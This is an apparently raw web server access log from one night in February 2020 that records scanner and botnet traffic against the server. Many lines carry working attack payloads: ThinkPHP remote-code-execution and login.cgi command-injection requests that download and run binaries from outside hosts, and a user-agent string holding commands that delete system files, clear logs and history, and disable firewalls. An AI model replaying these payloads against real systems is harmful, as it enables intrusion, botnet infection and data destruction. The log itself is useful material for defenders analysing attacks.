5.101.0.209 - - [22/Feb/2020:00:23:17 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:00:23:30 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:00:23:46 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
92.112.240.82 - - [22/Feb/2020:00:26:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
208.114.149.10 - - [22/Feb/2020:00:26:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
221.125.44.233 - - [22/Feb/2020:00:27:01 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
169.197.108.42 - - [22/Feb/2020:00:29:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
193.57.40.38 - - [22/Feb/2020:00:33:55 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
169.197.108.38 - - [22/Feb/2020:00:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
41.138.254.56 - - [22/Feb/2020:00:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
43.225.151.250 - - [22/Feb/2020:00:39:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
94.60.123.74 - - [22/Feb/2020:00:41:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.179.164.229 - - [22/Feb/2020:00:43:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.164.221.37 - - [22/Feb/2020:00:44:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
87.241.128.55 - - [22/Feb/2020:00:47:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.95.27.23 - - [22/Feb/2020:00:48:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
128.14.134.134 - - [22/Feb/2020:00:49:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
220.121.0.69 - - [22/Feb/2020:00:49:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [22/Feb/2020:00:49:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [22/Feb/2020:00:49:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [22/Feb/2020:00:50:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
177.39.131.176 - - [22/Feb/2020:00:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
178.130.102.59 - - [22/Feb/2020:00:55:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
190.130.22.182 - - [22/Feb/2020:00:59:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.57.40.38 - - [22/Feb/2020:01:02:46 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
200.1.177.155 - - [22/Feb/2020:01:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
218.158.126.72 - - [22/Feb/2020:01:19:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [22/Feb/2020:01:19:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [22/Feb/2020:01:19:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [22/Feb/2020:01:19:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [22/Feb/2020:01:20:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.25.88.174 - - [22/Feb/2020:01:28:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [22/Feb/2020:01:30:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [22/Feb/2020:01:30:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [22/Feb/2020:01:30:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [22/Feb/2020:01:31:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
85.105.143.94 - - [22/Feb/2020:01:31:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [22/Feb/2020:01:33:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [22/Feb/2020:01:33:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [22/Feb/2020:01:33:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [22/Feb/2020:01:33:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [22/Feb/2020:01:33:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.54.74.212 - - [22/Feb/2020:01:34:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
114.88.255.162 - - [22/Feb/2020:01:35:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [22/Feb/2020:01:36:54 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [22/Feb/2020:01:38:41 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.175.181.8 - - [22/Feb/2020:01:39:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.85.91.19 - - [22/Feb/2020:01:43:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.95.13.136 - - [22/Feb/2020:01:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.85.91.19 - - [22/Feb/2020:01:48:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.130.102.59 - - [22/Feb/2020:01:54:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
218.63.72.113 - - [22/Feb/2020:02:03:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.197.97.22 - - [22/Feb/2020:02:04:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.152.237.19 - - [22/Feb/2020:02:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:02:05:57 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
196.2.9.16 - - [22/Feb/2020:02:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
114.33.177.240 - - [22/Feb/2020:02:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
114.33.177.240 - - [22/Feb/2020:02:15:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.101.0.209 - - [22/Feb/2020:02:17:09 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:02:17:10 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
194.38.126.246 - - [22/Feb/2020:02:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:02:25:35 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
177.19.4.89 - - [22/Feb/2020:02:34:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.134.133.0 - - [22/Feb/2020:02:35:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
211.192.180.178 - - [22/Feb/2020:02:43:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [22/Feb/2020:02:43:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [22/Feb/2020:02:43:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [22/Feb/2020:02:44:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [22/Feb/2020:02:44:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.73.236.48 - - [22/Feb/2020:02:48:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.125.227.85 - - [22/Feb/2020:02:50:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
151.52.214.181 - - [22/Feb/2020:02:51:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://172.245.6.129/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
71.6.146.185 - - [22/Feb/2020:02:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.146.185 - - [22/Feb/2020:02:52:23 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.146.185 - - [22/Feb/2020:02:52:23 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.146.185 - - [22/Feb/2020:02:52:24 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.146.185 - - [22/Feb/2020:02:52:24 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
119.197.27.4 - - [22/Feb/2020:03:03:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.178.181.158 - - [22/Feb/2020:03:20:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
86.127.209.212 - - [22/Feb/2020:03:21:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.248.31.115 - - [22/Feb/2020:03:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.248.31.115 - - [22/Feb/2020:03:21:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.248.31.115 - - [22/Feb/2020:03:21:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
211.227.162.19 - - [22/Feb/2020:03:25:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.221.13.127 - - [22/Feb/2020:03:29:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
37.187.30.114 - - [22/Feb/2020:03:34:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
193.57.40.38 - - [22/Feb/2020:03:34:22 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
77.222.100.211 - - [22/Feb/2020:03:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
94.23.222.44 - - [22/Feb/2020:03:37:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
89.248.171.97 - - [22/Feb/2020:03:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
89.248.171.97 - - [22/Feb/2020:03:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
188.165.253.116 - - [22/Feb/2020:03:47:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
37.187.30.122 - - [22/Feb/2020:03:48:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
46.229.168.146 - - [22/Feb/2020:03:53:17 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.133 - - [22/Feb/2020:03:53:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.161 - - [22/Feb/2020:03:53:20 +0100] "GET /sitemap.xml HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
64.227.55.76 - - [22/Feb/2020:03:53:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.24.174.175 - - [22/Feb/2020:03:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
118.24.174.175 - - [22/Feb/2020:03:55:36 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
118.24.174.175 - - [22/Feb/2020:03:55:36 +0100] "POST /Admin56f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
118.24.174.175 - - [22/Feb/2020:03:55:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:03:56:00 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:03:56:00 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:03:56:00 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:03:56:00 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
118.24.174.175 - - [22/Feb/2020:03:56:23 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
118.24.174.175 - - [22/Feb/2020:03:56:47 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
118.24.174.175 - - [22/Feb/2020:03:57:11 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
118.24.174.175 - - [22/Feb/2020:03:57:35 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
118.24.174.175 - - [22/Feb/2020:03:57:59 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
118.24.174.175 - - [22/Feb/2020:03:58:27 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
118.24.174.175 - - [22/Feb/2020:03:58:31 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:03:58:35 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:03:58:35 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:03:58:36 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.24.174.175 - - [22/Feb/2020:03:58:39 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
